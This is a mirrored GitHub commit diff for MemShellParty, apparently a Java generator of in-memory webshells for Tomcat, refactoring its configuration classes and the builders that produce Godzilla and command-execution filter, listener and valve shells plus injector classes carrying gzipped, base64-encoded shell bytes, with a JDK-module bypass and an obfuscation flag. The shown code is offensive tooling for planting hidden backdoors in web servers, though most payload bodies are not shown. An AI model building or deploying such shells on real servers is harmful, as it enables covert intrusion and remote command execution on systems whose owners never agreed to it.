mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 07:51:52 +08:00
refactor: separate generate config
This commit is contained in:
@@ -1,13 +1,10 @@
|
|||||||
package com.reajason.javaweb;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
import com.reajason.javaweb.config.*;
|
import com.reajason.javaweb.config.*;
|
||||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -15,34 +12,27 @@ import java.nio.file.Paths;
|
|||||||
*/
|
*/
|
||||||
public class GeneratorMain {
|
public class GeneratorMain {
|
||||||
public static void main(String[] args) throws IOException {
|
public static void main(String[] args) throws IOException {
|
||||||
Server server = Server.TOMCAT;
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
ShellTool shellTool = ShellTool.Godzilla;
|
.server(Server.TOMCAT)
|
||||||
String shellType = TomcatShell.JAKARTA_FILTER;
|
.shellTool(ShellTool.Godzilla)
|
||||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
.shellType(TomcatShell.LISTENER).build();
|
||||||
.pass("passFilter")
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
.key("keyFilter")
|
.pass("pass123")
|
||||||
|
.key("key123")
|
||||||
.headerName("User-Agent")
|
.headerName("User-Agent")
|
||||||
.headerValue("test")
|
.headerValue("test")
|
||||||
.build();
|
.build();
|
||||||
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11);
|
|
||||||
if (generateResult != null) {
|
byte[] bytes = generate(shellConfig, new InjectorConfig(), godzillaConfig, Packer.INSTANCE.ScriptEngine);
|
||||||
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
|
if (bytes != null) {
|
||||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
System.out.println(new String(bytes));
|
||||||
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
|
|
||||||
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
|
|
||||||
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
|
|
||||||
System.out.println(shellConfig);
|
|
||||||
Files.write(Paths.get(shellConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes());
|
|
||||||
JspPacker jspPacker = new JspPacker();
|
|
||||||
String jspContent = new String(jspPacker.pack(generateResult));
|
|
||||||
System.out.println(jspContent);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
switch (server) {
|
switch (shellConfig.getServer()) {
|
||||||
case TOMCAT:
|
case TOMCAT:
|
||||||
return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion);
|
return TomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
case BES:
|
case BES:
|
||||||
break;
|
break;
|
||||||
case RESIN:
|
case RESIN:
|
||||||
@@ -52,6 +42,14 @@ public class GeneratorMain {
|
|||||||
default:
|
default:
|
||||||
throw new IllegalArgumentException("Unsupported server");
|
throw new IllegalArgumentException("Unsupported server");
|
||||||
}
|
}
|
||||||
return GenerateResult.builder().build();
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
|
||||||
|
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
if (generateResult != null) {
|
||||||
|
return packerInstance.getPacker().pack(generateResult);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -12,7 +12,7 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder
|
@SuperBuilder
|
||||||
@ToString
|
@ToString
|
||||||
public class CommandShellConfig extends ShellConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = "cmd";
|
private String paramName = "cmd";
|
||||||
}
|
}
|
||||||
@@ -9,7 +9,7 @@ import org.apache.commons.codec.binary.Base64;
|
|||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
@Builder
|
@Builder(builderClassName = "GenerateResultBuilder")
|
||||||
public class GenerateResult {
|
public class GenerateResult {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private transient byte[] shellBytes;
|
private transient byte[] shellBytes;
|
||||||
@@ -18,10 +18,19 @@ public class GenerateResult {
|
|||||||
private transient byte[] injectorBytes;
|
private transient byte[] injectorBytes;
|
||||||
private String injectorBytesBase64Str;
|
private String injectorBytesBase64Str;
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
|
private ShellToolConfig shellToolConfig;
|
||||||
|
private InjectorConfig injectorConfig;
|
||||||
|
|
||||||
public GenerateResult encodeBase64() {
|
public static class GenerateResultBuilder {
|
||||||
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
public GenerateResult build() {
|
||||||
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
if (shellBytes != null) {
|
||||||
return this;
|
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
||||||
|
}
|
||||||
|
if (injectorBytes != null) {
|
||||||
|
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
||||||
|
}
|
||||||
|
return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str,
|
||||||
|
injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -13,7 +13,7 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
public class GodzillaShellConfig extends ShellConfig {
|
public class GodzillaConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = "pass";
|
private String pass = "pass";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
@@ -22,4 +22,4 @@ public class GodzillaShellConfig extends ShellConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
package com.reajason.javaweb.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.util.CommonUtil;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/5
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
@Builder(toBuilder = true)
|
||||||
|
public class InjectorConfig {
|
||||||
|
/**
|
||||||
|
* 注入器模板类
|
||||||
|
*/
|
||||||
|
private Class<?> injectorClass;
|
||||||
|
/**
|
||||||
|
* 注入器类名
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 注入访问的地址
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String urlPattern = "/*";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 内存马类名
|
||||||
|
*/
|
||||||
|
private String shellClassName;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 内存马类字节
|
||||||
|
*/
|
||||||
|
private byte[] shellClassBytes;
|
||||||
|
}
|
||||||
@@ -1,28 +1,60 @@
|
|||||||
package com.reajason.javaweb.config;
|
package com.reajason.javaweb.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.util.CommonUtil;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import lombok.experimental.SuperBuilder;
|
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/12/6
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
@SuperBuilder
|
@Builder
|
||||||
@NoArgsConstructor
|
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
|
@NoArgsConstructor
|
||||||
public class ShellConfig {
|
public class ShellConfig {
|
||||||
@Builder.Default
|
/**
|
||||||
private String shellClassName = CommonUtil.generateShellClassName();
|
* 目标服务类型
|
||||||
@Builder.Default
|
*/
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
Server server;
|
||||||
@Builder.Default
|
|
||||||
private String urlPattern = "/*";
|
/**
|
||||||
|
* 内存马功能
|
||||||
|
*/
|
||||||
|
ShellTool shellTool;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 内存马类型
|
||||||
|
*/
|
||||||
|
String shellType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 生成类的目标 JDK 版本
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private int targetJdkVersion = Constants.DEFAULT_VERSION;
|
private int targetJdkVersion = Constants.DEFAULT_VERSION;
|
||||||
}
|
|
||||||
|
/**
|
||||||
|
* 是否开启混淆
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean obfuscate = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 是否开启调试
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean debug = false;
|
||||||
|
|
||||||
|
|
||||||
|
public boolean isJakarta() {
|
||||||
|
return StringUtils.containsIgnoreCase(shellType, "jakarta");
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean needByPassJdkModule() {
|
||||||
|
return targetJdkVersion >= Opcodes.V9;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.util.CommonUtil;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/24
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@SuperBuilder
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
public class ShellToolConfig {
|
||||||
|
/**
|
||||||
|
* 模板类 shellClass
|
||||||
|
*/
|
||||||
|
private Class<?> clazz;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* shellClass 的类名
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String className = CommonUtil.generateShellClassName();
|
||||||
|
}
|
||||||
@@ -1,14 +1,14 @@
|
|||||||
package com.reajason.javaweb.memsell;
|
package com.reajason.javaweb.memsell;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FieldAccessor;
|
import net.bytebuddy.implementation.FieldAccessor;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.implementation.SuperMethodCall;
|
import net.bytebuddy.implementation.SuperMethodCall;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -17,15 +17,19 @@ import net.bytebuddy.matcher.ElementMatchers;
|
|||||||
*/
|
*/
|
||||||
public class CommandGenerator {
|
public class CommandGenerator {
|
||||||
|
|
||||||
public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) {
|
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
|
||||||
|
if (shellConfig.getClazz() == null) {
|
||||||
|
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||||
|
}
|
||||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||||
.andThen(FieldAccessor.ofField("paramName").setsValue(paramName));
|
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(commandClass)
|
.redefine(shellConfig.getClazz())
|
||||||
.name(commandClassName)
|
.name(shellConfig.getClassName())
|
||||||
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
|
||||||
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||||
if (useJakarta) {
|
|
||||||
|
if (config.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -2,11 +2,11 @@ package com.reajason.javaweb.memsell;
|
|||||||
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.config.Constants;
|
import com.reajason.javaweb.config.GodzillaConfig;
|
||||||
|
import com.reajason.javaweb.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FieldAccessor;
|
import net.bytebuddy.implementation.FieldAccessor;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
|
||||||
import net.bytebuddy.implementation.SuperMethodCall;
|
import net.bytebuddy.implementation.SuperMethodCall;
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
@@ -16,34 +16,29 @@ import org.apache.commons.codec.digest.DigestUtils;
|
|||||||
* @since 2024/11/23
|
* @since 2024/11/23
|
||||||
*/
|
*/
|
||||||
public class GodzillaGenerator {
|
public class GodzillaGenerator {
|
||||||
|
public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) {
|
||||||
|
if (shellConfig.getClazz() == null) {
|
||||||
|
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||||
|
}
|
||||||
|
String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16);
|
||||||
|
String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase();
|
||||||
|
|
||||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
String pass, String key,
|
.redefine(shellConfig.getClazz())
|
||||||
String headerName, String headerValue) {
|
.name(shellConfig.getClassName())
|
||||||
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
|
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
|
||||||
}
|
.constructor(ElementMatchers.any())
|
||||||
|
.intercept(SuperMethodCall.INSTANCE
|
||||||
|
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
|
||||||
|
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
|
||||||
|
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||||
|
.andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName()))
|
||||||
|
.andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue())));
|
||||||
|
|
||||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
|
if (config.isJakarta()) {
|
||||||
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
|
|
||||||
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
|
|
||||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
|
||||||
.andThen(FieldAccessor.ofField("pass").setsValue(pass))
|
|
||||||
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
|
|
||||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
|
||||||
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
|
|
||||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
|
|
||||||
.name(godzillaClassName);
|
|
||||||
|
|
||||||
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
|
|
||||||
|
|
||||||
if (useJakarta) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|
||||||
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
|
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return make.getBytes();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell;
|
|||||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.config.Constants;
|
import com.reajason.javaweb.config.Constants;
|
||||||
|
import com.reajason.javaweb.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.config.ShellConfig;
|
||||||
import com.reajason.javaweb.util.CommonUtil;
|
import com.reajason.javaweb.util.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
@@ -22,21 +24,19 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
public class InjectorGenerator {
|
public class InjectorGenerator {
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
|
public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) {
|
||||||
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
|
String base64String = Base64.encodeBase64String(
|
||||||
}
|
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
|
||||||
|
.replace(System.lineSeparator(), "");
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
|
|
||||||
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(injectClass)
|
.redefine(injectorConfig.getInjectorClass())
|
||||||
.name(injectClassName)
|
.name(injectorConfig.getInjectorClassName())
|
||||||
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
|
||||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
|
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
if (targetJdkVersion >= Opcodes.V9) {
|
|
||||||
|
if (config.needByPassJdkModule()) {
|
||||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -44,4 +44,4 @@ public class InjectorGenerator {
|
|||||||
return make.getBytes();
|
return make.getBytes();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -13,7 +13,6 @@ import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
|
|||||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
|
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
|
||||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
|
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
|
||||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
|
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
@@ -66,55 +65,48 @@ public class TomcatShell {
|
|||||||
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
Class<?> injectorClass = injectorConfig.getInjectorClass();
|
||||||
if (shellTool == null || shellType == null || shellConfig == null) {
|
|
||||||
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
|
|
||||||
}
|
|
||||||
Pair<Class<?>, Class<?>> classPair;
|
|
||||||
byte[] shellBytes;
|
byte[] shellBytes;
|
||||||
boolean useJakarta = shellType.startsWith(JAKARTA);
|
switch (shellConfig.getShellTool()) {
|
||||||
switch (shellTool) {
|
|
||||||
case Godzilla: {
|
case Godzilla: {
|
||||||
classPair = GODZILLA_SHELL_MAP.get(shellType);
|
Pair<Class<?>, Class<?>> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType());
|
||||||
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
|
if (injectorClass == null) {
|
||||||
shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
|
injectorClass = classPair.getRight();
|
||||||
godzillaConfig.getShellClassName(),
|
}
|
||||||
godzillaConfig.getPass(),
|
shellToolConfig.setClazz(classPair.getLeft());
|
||||||
godzillaConfig.getKey(),
|
shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
|
||||||
godzillaConfig.getHeaderName(),
|
|
||||||
godzillaConfig.getHeaderValue(),
|
|
||||||
useJakarta,
|
|
||||||
targetJdkVersion
|
|
||||||
);
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case Command: {
|
case Command: {
|
||||||
classPair = COMMAND_SHELL_MAP.get(shellType);
|
Pair<Class<?>, Class<?>> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType());
|
||||||
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
|
if (injectorClass == null) {
|
||||||
shellBytes = CommandGenerator.generate(classPair.getLeft(),
|
injectorClass = classPair.getRight();
|
||||||
commandConfig.getShellClassName(),
|
}
|
||||||
commandConfig.getParamName(), useJakarta, targetJdkVersion);
|
shellToolConfig.setClazz(classPair.getLeft());
|
||||||
|
shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
|
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||||
}
|
}
|
||||||
|
|
||||||
Class<?> injectorClass = classPair.getRight();
|
injectorConfig = injectorConfig
|
||||||
byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
|
.toBuilder()
|
||||||
shellConfig.getInjectorClassName(),
|
.injectorClass(injectorClass)
|
||||||
shellConfig.getShellClassName(),
|
.shellClassName(shellToolConfig.getClassName())
|
||||||
shellBytes,
|
.shellClassBytes(shellBytes).build();
|
||||||
shellConfig.getUrlPattern(),
|
|
||||||
targetJdkVersion);
|
byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
|
||||||
|
|
||||||
return GenerateResult.builder()
|
return GenerateResult.builder()
|
||||||
.shellClassName(shellConfig.getShellClassName())
|
|
||||||
.shellBytes(shellBytes)
|
|
||||||
.injectorClassName(shellConfig.getInjectorClassName())
|
|
||||||
.injectorBytes(injectorBytes)
|
|
||||||
.shellConfig(shellConfig)
|
.shellConfig(shellConfig)
|
||||||
.build().encodeBase64();
|
.shellToolConfig(shellToolConfig)
|
||||||
|
.injectorConfig(injectorConfig)
|
||||||
|
.shellClassName(shellToolConfig.getClassName())
|
||||||
|
.shellBytes(shellBytes)
|
||||||
|
.injectorClassName(injectorClass.getName())
|
||||||
|
.injectorBytes(injectorBytes)
|
||||||
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -11,7 +11,7 @@ import java.io.InputStream;
|
|||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class CommandFilter implements Filter {
|
public class CommandFilter implements Filter {
|
||||||
public String paramName;
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void init(FilterConfig filterConfig) throws ServletException {
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String paramName;
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -15,7 +15,7 @@ import java.io.InputStream;
|
|||||||
public class CommandValve implements Valve {
|
public class CommandValve implements Valve {
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
public String paramName;
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
public CommandValve() {
|
public CommandValve() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -13,11 +13,11 @@ import java.io.IOException;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||||
public String key;
|
public String key = "{{key}}";
|
||||||
